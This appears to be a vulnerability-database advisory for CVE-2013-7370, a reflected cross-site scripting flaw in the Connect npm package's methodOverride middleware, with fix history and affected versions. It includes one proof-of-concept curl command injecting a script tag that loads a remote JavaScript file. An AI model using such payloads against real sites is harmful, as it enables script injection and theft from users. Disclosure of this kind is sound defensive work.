Lookup for vulnerabilities affecting packages.

Vulnerability_idVCID-nbgt-whdd-xyf9
Summary
methodOverride Middleware Reflected Cross-Site Scripting
Connect is a stack of middleware that is executed in order in each request.

The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override".

Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method] [url]" content. The method was not properly encoded for output in the browser.


###Example:
```
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
```

###Credit:
[Sergio Arcos](https://twitter.com/martes_trece)

###History
(2013-06-27) Bug reported:
https://github.com/senchalabs/connect/issues/831

(2013-06-27) First fix: escape req.method output
https://github.com/senchalabs/connect/commit/277e5aad6a95d00f55571a9a0e11f2fa190d8135

(2013-06-27) Second fix: whitelist
https://github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a
Aliases
0
alias CVE-2013-7370
Fixed_packages
0
url pkg:npm/connect@2.8.1
purl pkg:npm/connect@2.8.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/connect@2.8.1
Affected_packages
0
url pkg:npm/connect@2.8.0
purl pkg:npm/connect@2.8.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-81fd-hg84-jkcm
1
vulnerability VCID-ff4q-8qw9-dfc1
2
vulnerability VCID-nbgt-whdd-xyf9
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/connect@2.8.0
References
0
reference_url https://github.com/nodejs/security-wg/blob/main/vuln/npm/3.json
reference_id 3
reference_type
scores
0
value 6.5
scoring_system cvssv3
scoring_elements
url https://github.com/nodejs/security-wg/blob/main/vuln/npm/3.json
Weaknesses
Exploits
Severity_range_score6.5 - 6.5
Exploitabilitynull
Weighted_severitynull
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/vulnerabilities/VCID-nbgt-whdd-xyf9